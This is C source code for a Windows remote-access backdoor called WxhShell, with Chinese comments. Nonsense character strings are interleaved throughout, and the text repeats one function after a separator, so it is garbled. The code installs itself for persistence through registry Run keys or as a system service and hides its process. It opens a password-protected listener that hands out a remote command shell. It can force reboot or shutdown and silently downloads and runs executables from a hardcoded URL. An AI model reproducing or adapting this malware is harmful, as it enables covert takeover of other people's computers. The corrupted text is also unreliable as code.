V^ zEs>b(5u PROCNTQSIP NtQueryInformationProcess; "vXxv'0\f 9!T[Z/}T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AP[|Ta static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zfI>qJ+Nqt `^bgUmJ~ HANDLE hProcess; .^N/peUq PROCESS_BASIC_INFORMATION pbi; LAVAFlK5 HkQ*y$$ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vm%1> '& if(NULL == hInst ) return 0; 1=#q5dZ] _Xn qb+ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cj+ FRG~u g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yMyE s 8 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *_R]*o!W' |o,8V p if (!NtQueryInformationProcess) return 0; vLR~'"`F /E
Bo3` hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eAX
)^q if(!hProcess) return 0; x\F,SEj kjEEuEv if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uIcn{RZ_z lrnyk(M}Q. CloseHandle(hProcess); MxSM@3 v( ZX5 xF<os8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8CnRi if(hProcess==NULL) return 0; !6s"]WvF hQ]H
/+\ HMODULE hMod; 7h6,c /< char procName[255]; A/s>PhxV unsigned long cbNeeded; 9;Itqe{8w {z(xFrY if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >y.%xK RQ'exc2x0 CloseHandle(hProcess); vr0WS3 a["2VY6Eq@ if(strstr(procName,"services")) return 1; // 以服务启动 ]4h92\\965 S|apw7C return 0; // 注册表启动 RE=` } 'rMN=1:iu" xqC+0{]y // 主模块 }
@K FB int StartWxhshell(LPSTR lpCmdLine) w=j { !PrwH; SOCKET wsl; j7sKsbb BOOL val=TRUE; S:TgFt0 int port=0; si&S%4( struct sockaddr_in door; 0$7s^?G0 `)GrwfC if(wscfg.ws_autoins) Install(); Cl^\OZN\= vhsk0$f port=atoi(lpCmdLine); /%0<p,T ZKQG:M~| if(port<=0) port=wscfg.ws_port; L3G \ *Ho/ZYj3 WSADATA data; z;A>9vQ_J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; slg ]#Dy OfctoPP _0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ]Ar\c[" setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J9\a{c;. door.sin_family = AF_INET; UJfEC0 door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,WJH}(h"D door.sin_port = htons(port); ~4s'0 w^ /1x,h"T\< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3}@_hS"^8 closesocket(wsl); p98~&\QT return 1; ,WvY$_#xW% } ow0!%|fO &v"3*.org@ if(listen(wsl,2) == INVALID_SOCKET) { dbOdq closesocket(wsl); '@jXbN return 1; AX= 1b,s } NzU,va N Wxhshell(wsl); zo[[>MA WSACleanup(); ]da^xWK z]2]XTmWs return 0; MXzVgy '=1KVE^Fk } q^A+<d wMdal:n^ // 以NT服务方式启动 {}QB|IH` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) em\ 9'L^ { m=:4`_0Q DWORD status = 0; :^Fh!br== DWORD specificError = 0xfffffff; DK=cVpN%s B*~5)}1op serviceStatus.dwServiceType = SERVICE_WIN32; FL8g5I serviceStatus.dwCurrentState = SERVICE_START_PENDING; m}8[#: serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AgRjr"hF*e serviceStatus.dwWin32ExitCode = 0; zfwS serviceStatus.dwServiceSpecificExitCode = 0; jMbC Y07v serviceStatus.dwCheckPoint = 0; Zum0J{l
h serviceStatus.dwWaitHint = 0; m8SA6Y\ zCOgBT~p hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K{ \;2M if (hServiceStatusHandle==0) return; !<UJ6t} =xsTDjH> status = GetLastError(); <`jLY)sw if (status!=NO_ERROR) @&]#uRl|[ { 0vVV%,v serviceStatus.dwCurrentState = SERVICE_STOPPED; 6<N5_1 serviceStatus.dwCheckPoint = 0; Dk+&X-]6x5 serviceStatus.dwWaitHint = 0; sTOa serviceStatus.dwWin32ExitCode = status; uP<0WCN serviceStatus.dwServiceSpecificExitCode = specificError; E;d7ch SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2_ :n return; UjOB98Du } M[ z)6. 2P]L9'N{Y serviceStatus.dwCurrentState = SERVICE_RUNNING; C-8qj> serviceStatus.dwCheckPoint = 0; <\0vR20/ serviceStatus.dwWaitHint = 0; }lK3-2Pk if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $5v0m#[^ } BW"&6t#kA ,jC3Fcly // 处理NT服务事件,比如:启动、停止 A].>.AI VOID WINAPI NTServiceHandler(DWORD fdwControl) "+zCS|
{ 7},)]da>,' switch(fdwControl) 3:{yJdpg { RZe'Kw - case SERVICE_CONTROL_STOP: X*Z8CM_ serviceStatus.dwWin32ExitCode = 0; ?x^z]N|P serviceStatus.dwCurrentState = SERVICE_STOPPED; I+ es8 serviceStatus.dwCheckPoint = 0; DfV~!bY serviceStatus.dwWaitHint = 0; ?88`fJ@tk? { &QG6!`fK}3 SetServiceStatus(hServiceStatusHandle, &serviceStatus); U:MPgtwe } n!6Z]\8~$ return; /m(=`aRt case SERVICE_CONTROL_PAUSE: RUr=fEH serviceStatus.dwCurrentState = SERVICE_PAUSED; =?h~.lo break; N$xtHtz8" case SERVICE_CONTROL_CONTINUE: ^'p|!`: serviceStatus.dwCurrentState = SERVICE_RUNNING; Mc-)OtmG[ break; k8,?hX: case SERVICE_CONTROL_INTERROGATE: 341?0%= break; }pa9%BQI }; v|ox!0:# SetServiceStatus(hServiceStatusHandle, &serviceStatus); -`f04_@>d } \v6M:KR5/ =&!HwOnp // 标准应用程序主函数 F`nb21{0y& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c9j*n;Q { |0{u->+ ) !GW,\y // 获取操作系统版本 :K?0e` OsIsNt=GetOsVer(); p"*y58 GetModuleFileName(NULL,ExeFile,MAX_PATH); fbFX4?- YpUp@/" // 从命令行安装 W>M~Sk$v if(strpbrk(lpCmdLine,"iI")) Install(); \V2,pi8'v -Q;#sJ? // 下载执行文件 `o79g"kxe if(wscfg.ws_downexe) { Jdy<w&S if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *2}O-e WinExec(wscfg.ws_filenam,SW_HIDE); /D_+{dtE } !3oKmL5 'SLE;_TD if(!OsIsNt) { 7n)&FXK` // 如果时win9x,隐藏进程并且设置为注册表启动 7ou46v|m5 HideProc(); NZu)j[" StartWxhshell(lpCmdLine); ~#}Dx
:HH } vRA',(]( else ZyR_6n>L$ if(StartFromService()) 4gdY`}8b^} // 以服务方式启动 o2-@o= F StartServiceCtrlDispatcher(DispatchTable); xx*2?i else rOD1_X- // 普通方式启动 i.iio- StartWxhshell(lpCmdLine); ^IgY d*5 1Q}mf !Y return 0; Uz%Z&K } OlxX.wP R*1kR|*_) 1u]P4Gf= ;]CVb`d =========================================== e=/&(Y BbJkdt7 SQE[m9v oJ*1>7[ J 2aNT#J"_ yy2Ie " >s*Drf X6 mnF}S5[9 #include <stdio.h> TUp%FJXA| #include <string.h> 1
[z'G)v #include <windows.h> ,:v&4x&= #include <winsock2.h> 9x~-*8aw #include <winsvc.h> E@QA". #include <urlmon.h> v.Ogf5 0vs0*;F; #pragma comment (lib, "Ws2_32.lib") F=@i6ERi #pragma comment (lib, "urlmon.lib") >tRHNB_ ['X[qn #define MAX_USER 100 // 最大客户端连接数 Y'"N"$n'_ #define BUF_SOCK 200 // sock buffer V*jsq[q= #define KEY_BUFF 255 // 输入 buffer NVIWWX9? v%{0 Tyk #define REBOOT 0 // 重启 S;@ay/*~ #define SHUTDOWN 1 // 关机 c5i%(!> aSaAC7sFk #define DEF_PORT 5000 // 监听端口 ~o15#Pfn/ *07sK1wW #define REG_LEN 16 // 注册表键长度 Yx?aC!5M #define SVC_LEN 80 // NT服务名长度 *:_~Nn9_R; :.IN?X // 从dll定义API ~I_owCVZ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =fG:A(v%} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g@nk.aRw typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |KG&HNfP- typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z?.(3oLT d!{7r7ob\ // wxhshell配置信息 DvT+`X?R struct WSCFG { *v #/Y9} int ws_port; // 监听端口 +g\;bLT char ws_passstr[REG_LEN]; // 口令 K;kM_%9u int ws_autoins; // 安装标记, 1=yes 0=no `1'5j "v char ws_regname[REG_LEN]; // 注册表键名 LdWc
X`K char ws_svcname[REG_LEN]; // 服务名 W,N L*($^ char ws_svcdisp[SVC_LEN]; // 服务显示名 .LE+/n char ws_svcdesc[SVC_LEN]; // 服务描述信息 _PB@kH# char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J|j;g!fK int ws_downexe; // 下载执行标记, 1=yes 0=no E$S`6+x`:a char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O~'FR[J char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G=$}5; t ,/o(|sks }; T\3 [F%?
GXeAe}T // default Wxhshell configuration 6"%qv`.Fp struct WSCFG wscfg={DEF_PORT, w~-X>~ } "xuhuanlingzhe", ( pD7 1, vgk9b!Xd "Wxhshell", 8eX8IR!K9 "Wxhshell", d.\PS9l "WxhShell Service", _t.FL@3e "Wrsky Windows CmdShell Service", fOBN=y6x "Please Input Your Password: ", T|+$@o 1, 5faj;I{%JY "http://www.wrsky.com/wxhshell.exe", ZLJNw0!=|t "Wxhshell.exe" qY}Cg0[@g }; W78o*z[O $^$ECDOTB // 消息定义模块 'G
Y/Q5 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YN^jm char *msg_ws_prompt="\n\r? for help\n\r#>"; oFyeH )! char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P`2&*2, char *msg_ws_ext="\n\rExit."; FfXZ|o$; char *msg_ws_end="\n\rQuit."; `vEqj v char *msg_ws_boot="\n\rReboot..."; b`]M|C [5 char *msg_ws_poff="\n\rShutdown..."; *<dHqK`?C char *msg_ws_down="\n\rSave to "; k /^g* _80ns&q char *msg_ws_err="\n\rErr!"; vf_OQ4'G, char *msg_ws_ok="\n\rOK!"; t?.\|2 u\5g3BH char ExeFile[MAX_PATH]; #Q+R%p[D int nUser = 0; u:5IjOb2^ HANDLE handles[MAX_USER]; Mdm0g int OsIsNt; j0?>w{e `,m7xJZ?y SERVICE_STATUS serviceStatus; ^H'kHl'F SERVICE_STATUS_HANDLE hServiceStatusHandle; MiD u\w 2S4c // 函数声明 J!<#Nc int Install(void); "OJr*B int Uninstall(void); =M7PvH'" int DownloadFile(char *sURL, SOCKET wsh); Mk "vvk int Boot(int flag); a
8-;
void HideProc(void); $kv[iI@ int GetOsVer(void); 9<Ag1l int Wxhshell(SOCKET wsl); z5ZKks void TalkWithClient(void *cs); NxB+? int CmdShell(SOCKET sock); vnVZJ}]w\ int StartFromService(void); FK3Whe{KP{ int StartWxhshell(LPSTR lpCmdLine); \bRy(Z) 2YluJ:LN VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ex0oAt^ VOID WINAPI NTServiceHandler( DWORD fdwControl ); &q L<C #'iPDRYy // 数据结构和表定义 Q>[Ce3 SERVICE_TABLE_ENTRY DispatchTable[] = X\'E4 { z.j4tc9F/5 {wscfg.ws_svcname, NTServiceMain}, j88=f#< {NULL, NULL} 3B -NYJa }; xfes_v"" Ff&R0v // 自我安装 F7V6-V{_ int Install(void) 8.-S$^hj~6 { nHVPMi> char svExeFile[MAX_PATH]; h,.fM}=H HKEY key; O sB?1;: strcpy(svExeFile,ExeFile); soxfk+
9 6~3jn+K$1 // 如果是win9x系统,修改注册表设为自启动 F'ENq6 if(!OsIsNt) { &|NZ8:*+# if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3FuCW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _y"a2M RegCloseKey(key); p4y6R4kyT if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]p\u$VY9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 15JsmA*Q RegCloseKey(key); ysl8LK
return 0; i.F8 } ]qMH=>pOsj } )*Vj3Jx } Tfr`?:yF else { \d ui`F"Cc unJiE! // 如果是NT以上系统,安装为系统服务 |[DV\23{G SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )kF2HF if (schSCManager!=0) v10mDr { (<
:mM SC_HANDLE schService = CreateService |;~nI'0O]) ( p!QR3k.9s schSCManager, I}rGx wscfg.ws_svcname, h&q=I.3O|? wscfg.ws_svcdisp, 7^&lbzVbm( SERVICE_ALL_ACCESS, R~!\-6%_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , / Z1Wy-Z SERVICE_AUTO_START, '%);%y@v SERVICE_ERROR_NORMAL, dA|Lufy# svExeFile, !2#\| NJk NULL, ~ t"n%SgY NULL, )G^p1o;\ NULL, '1Y<RD>x NULL, 5d%_Wb' NULL 8B_0!U&] ); "wC0eDf if (schService!=0) BB0g}6M { /G{&[X<4U CloseServiceHandle(schService); 8 NxUx+] CloseServiceHandle(schSCManager); 4bPqmEE strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G 2!}R strcat(svExeFile,wscfg.ws_svcname); ypgliq( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { loR,XW7z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )CFk`57U RegCloseKey(key); +jv}\Jt return 0; G2=F8kL } D8gQRQ } ?U}sQ;c$ CloseServiceHandle(schSCManager); vwm|I7/w } y9=t;qH@| } 8?A@/ 1bT'u5& return 1; ]"C| qR* } YGfA qI
y -|6V}wHg~ // 自我卸载 }!eF
int Uninstall(void) \moZ6J { YomwjKyuP HKEY key; ~wa%fM p
.lu4 if(!OsIsNt) { qK{|Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?OdV1xB RegDeleteValue(key,wscfg.ws_regname); UB5}i('L RegCloseKey(key); 1 d=0q?nH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,:c:6Y^ RegDeleteValue(key,wscfg.ws_regname); gkSGRshf RegCloseKey(key); LQ~LB'L return 0; Z`^
K%P= } &
8ccrw } Xs{/}wc.q; } f:n] Exsy else { qK<aZ%V FrgW7`s[A SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @=02 if (schSCManager!=0) yBr$ 0$ { Q~x*bMb. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j@%K*Gb` if (schService!=0) A"Tc^Ij { (r.$%[,.< if(DeleteService(schService)!=0) { V#p G; , CloseServiceHandle(schService); 9"m,p CloseServiceHandle(schSCManager); qJ#L) return 0; xAR^ } m]bL)]Z CloseServiceHandle(schService); dVasm<lZ } '~ jy CloseServiceHandle(schSCManager); hVQ7'@ } 9m%7dsv } e@='Q H plzE return 1; _Jf J%YXy } l*~"5f03 L#@l(8. // 从指定url下载文件 R
tXF int DownloadFile(char *sURL, SOCKET wsh) .t"n]X i { pP?<[ql[w HRESULT hr; "r5'lQI char seps[]= "/"; 9itdRa== char *token; =YS!soO char *file; s4\SX, char myURL[MAX_PATH]; M>`?m
L char myFILE[MAX_PATH]; $M:4\E5( jEC'l]l strcpy(myURL,sURL); f]@[4<N y token=strtok(myURL,seps); yVbg,q'?
while(token!=NULL) `XQx$I { e["Z!D_H file=token; eukX#0/^ token=strtok(NULL,seps); *!-}lc^4 } VWnu#_( z{ Zimr GetCurrentDirectory(MAX_PATH,myFILE); *so6]+)cU strcat(myFILE, "\\"); &F@tmM~ strcat(myFILE, file); e8WPV send(wsh,myFILE,strlen(myFILE),0); r9p?@P\:[ send(wsh,"...",3,0); ~FK+bF?% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ex;Yn{4 if(hr==S_OK) UgOGBj,&5W return 0; I(iGs I else ":(Cpf0 return 1; xc3Ov9`8% M8^ziZY } (o6A?37i K4K3<Pg // 系统电源模块 Q@3ld6y int Boot(int flag) )VSGqYr# { 9fr&Yb=_o@ HANDLE hToken; A_X^k|)T TOKEN_PRIVILEGES tkp; qqO10~Xc <9MQ if(OsIsNt) { $AL|d[[T[ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @eG#%6"> LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u:{.
Hn` tkp.PrivilegeCount = 1; q(${jz4w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Bt`r6v;\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hH|XtQ.n^ if(flag==REBOOT) { s>"WQ|;6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) OM.(g%2 return 0; r(/P||`l } sov62wuqU else { ua. 6?W) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /fcwz5~ return 0; (t"YoWA#m } 'KW+Rr~tZn } )9;kzp/ else { ~jrU#<'G9 if(flag==REBOOT) { iaq:5||, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a}+_Yo(Q return 0; $(<*pU } k+>p!1 else { n
B|C-.F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;tIIEc return 0; qgY(S}V } 0^tJX1L } W1M/Z[h6)5 }e;p8)]Wl return 1; M. UUA?d<' } /(}l[jf sjgxx7 // win9x进程隐藏模块 ,1 9" [:WN void HideProc(void) rBL_]\$7} { ;:K?7wfXn F^[Rwzv>c HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /)HEx&SQmZ if ( hKernel != NULL ) >?Y3WPB<F { m~\m"zJ4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Z_TbM^N ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pz z`4VS: FreeLibrary(hKernel); [O =)FiY- } ;Q%19f3,6 ~s^6Q#Z9| return; :Y&W)V- } ?_`P;}4# Tlv|To // 获取操作系统版本 7B> cmi int GetOsVer(void) Y K 62#; { nHL>}Yg OSVERSIONINFO winfo; W!Os ci winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u K &_IE} GetVersionEx(&winfo); XwqfWd_ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l=G#gKE return 1; AI`1N%Owi else v6(l#,
return 0; vnT
} ~<Qxw>S# `E%d$ // 客户端句柄模块 aIyY%QT int Wxhshell(SOCKET wsl) oHGf | { (3HgI SOCKET wsh; $+yQ48Wq struct sockaddr_in client; &S`'o%B DWORD myID; k{$"-3ed Q14;G<l- while(nUser<MAX_USER) w\[*_wQp { d3hTz@JY int nSize=sizeof(client); dEl3?~ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [IX!3I[J] if(wsh==INVALID_SOCKET) return 1; K":tr~V; IOsDVIXL\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <qZ+U4@I) if(handles[nUser]==0) >TVd*S closesocket(wsh); Ho*RLVI0U else Aba%Gh nUser++; \{^yB4F_Z } ?DTP-#5Ba WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h1d0{ <OFqUp*l return 0; ]fmf X } Nv#, s_hG o*S $j Cf? // 关闭 socket X Ow^"=Oa[ void CloseIt(SOCKET wsh) MPw7!G(qj { zb*4Nsda: closesocket(wsh); FO3*[O nUser--; n ]g,)m ExitThread(0); i2c<q0u } 8?R_O}U \r&@3a.> // 客户端请求句柄 n Fn`>kQ void TalkWithClient(void *cs) g#&##f { {N`<e>A]{ +=xRr?F SOCKET wsh=(SOCKET)cs; 69w"$Vk char pwd[SVC_LEN]; |1 6v4 R char cmd[KEY_BUFF]; pNsLoNZ3w char chr[1]; Z9EQ|WfS#- int i,j; h2*&>Mc ?Gu>!7 while (nUser < MAX_USER) {
=)>q.R9 3`!KndY1 if(wscfg.ws_passstr) { fN>|X\- if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C\h<02 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c3BL2>c //ZeroMemory(pwd,KEY_BUFF); NGzqiu"J i=0; {iteC while(i<SVC_LEN) { 1Ac1CsK* g0$k_ // 设置超时 f@g fd_set FdRead; n#,l&Bx struct timeval TimeOut; CplRnKra FD_ZERO(&FdRead); CR=MjmH FD_SET(wsh,&FdRead); %P6!vx:&^b TimeOut.tv_sec=8; N*-Z Jv TimeOut.tv_usec=0; +5\\wGo< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,_-*/- 7;8 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IH}L1i A) Ez-o*& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o\gQYi pwd=chr[0]; i)DXb if(chr[0]==0xd || chr[0]==0xa) { SHh(ujz, pwd=0; X"GQ^]$O break; Hvk?(\x } QyQ8M1m i++; <us{4% } p+?WhxG) xo+z[OIlF // 如果是非法用户,关闭 socket 1MSu])
W if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &d;$k } y?hW#l~#X {HDlv[O% send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z#/*LP#oY send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c^k.
<EA -qF| Y
f while(1) { (iP,YKG1? %q^]./3p ZeroMemory(cmd,KEY_BUFF); 0&~u0B{ >c eU!=> // 自动支持客户端 telnet标准 3!W&J j=0; RkM! BcB while(j<KEY_BUFF) { b>WT-.b0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ) P])0Y- cmd[j]=chr[0]; {D#`+uw if(chr[0]==0xa || chr[0]==0xd) { ARo5 Ss{ cmd[j]=0; p-k qX break; B8Z66#EQ } 7L"/4w j++; @xEQ<g } !HYqM(|{. xcA:Q`c.{ // 下载文件 D$;/
l}s? if(strstr(cmd,"http://")) { 89bKnsV send(wsh,msg_ws_down,strlen(msg_ws_down),0); }fZBP]<I( if(DownloadFile(cmd,wsh)) UJ:B:hh'' send(wsh,msg_ws_err,strlen(msg_ws_err),0); j C? else (0S7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rJ>8|K[kt } jK53-tF~I else { Y`uCDfcQ (Bz(KyD[ switch(cmd[0]) { ).xWjVC =UY@,*q:c // 帮助 ,d#4Ib case '?': { cALs;)z send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %s>E@[s break; %+~0+ev7r } +L6d$+ // 安装 ?a@l.ZM* case 'i': { *VB*/^6A if(Install()) ix;8S=eP~{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^(R
gSMuT` else |Oe6OCPf send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wt=[R 4= break; }=gGs } <*P1Sd. // 卸载 [@;Z
xs case 'r': { >B0S5:S$W if(Uninstall()) ??PpHBJ') send(wsh,msg_ws_err,strlen(msg_ws_err),0); it$~uP | else 65v'/m!ys send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <>TBM^ break; 566EMy| } -/X-.#}- // 显示 wxhshell 所在路径 UuGv= yC^6 case 'p': { jk@]d5 char svExeFile[MAX_PATH]; "'Ik{wGc strcpy(svExeFile,"\n\r"); dq2v[?*R strcat(svExeFile,ExeFile); XJ"9D#"a> send(wsh,svExeFile,strlen(svExeFile),0); #~b9H05D break; `m5iZxhw } V.J%4&^X // 重启 ZfU_4Pl-> case 'b': { @u^Ib33 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 43Q&<r$[T if(Boot(REBOOT)) <9"i_d% send(wsh,msg_ws_err,strlen(msg_ws_err),0); CJ_B. else { Z5Cv$bUc closesocket(wsh); W3b\LnUa ExitThread(0); ~X/T6(n$ } [>E0(S] break; `*]r.u0 } _~!,x.Dbp // 关机 #qWEyb2UZ case 'd': { 0:*$i(2 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n2E2V<# if(Boot(SHUTDOWN)) hf[K\aAk send(wsh,msg_ws_err,strlen(msg_ws_err),0); S`::f(e else { 7j+.H/2 closesocket(wsh); t%)L8%Jr ExitThread(0); vzL>ZBeZ } kQ + break; ]zO]*d=m } g!$
"CX%8 // 获取shell a
<3oyY' case 's': { ^P[*yf CmdShell(wsh); ;$Y?j8g closesocket(wsh); 04s N4C ExitThread(0); f5N~K> break; f: Rh9 } *M{1RMc // 退出 hRP0Djc case 'x': { ,#crtX send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A)xI.Q6 CloseIt(wsh); .+y#7-#6 break; zMa`olTZ } `F)Iv:;y, // 离开 [f'7/w+ case 'q': { =Zj9F1E[i send(wsh,msg_ws_end,strlen(msg_ws_end),0); wdg[pt
/> closesocket(wsh); 1||e!W WSACleanup(); V1ug.Jv^ exit(1); @wo9;DW` break; &c]x;#-y } ;j$84o{ } *q^'%' } E_++yK^= A#T;Gi // 提示信息 ^C(AMT if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _7Z$" } t[<=QK } oR+Fn}mG txi
m|) return; !54%}x)3 } HjK|9 ^3el-dZ // shell模块句柄 O&}0 7( int CmdShell(SOCKET sock) As"'KR { +/ #J]v- STARTUPINFO si; cJt#8P
ZeroMemory(&si,sizeof(si)); rTi.k si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; toF@@% si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (vY10W{ PROCESS_INFORMATION ProcessInfo; y"2c; *7[{ char cmdline[]="cmd"; !l'Zar CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2-$R@
SVy return 0; 0Vg8o @ } $lO\eQGxB =%a.C(0&G // 自身启动模式 IRpCbTIXK int StartFromService(void) NWKD:{ { 1r;Q5[@ typedef struct 46mu,v {
"dA"N$ DWORD ExitStatus; &oT]ycz% DWORD PebBaseAddress; tvd/Y|bV= DWORD AffinityMask; )&*&ZL0 DWORD BasePriority; Jap
v<lV% ULONG UniqueProcessId; 0hPm,H*Y] ULONG InheritedFromUniqueProcessId; .9`.\v6R } PROCESS_BASIC_INFORMATION; 0py0zE6,, Sna7r~j PROCNTQSIP NtQueryInformationProcess; 2^|*M@3r j3$KYf`T} static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f1Rm9`` static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RNm/&F1C$ RlpW)\{j? HANDLE hProcess; `/0FXb
8h PROCESS_BASIC_INFORMATION pbi; tf>?; C3D1rS/I HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~V (WD;Mk if(NULL == hInst ) return 0; k&9
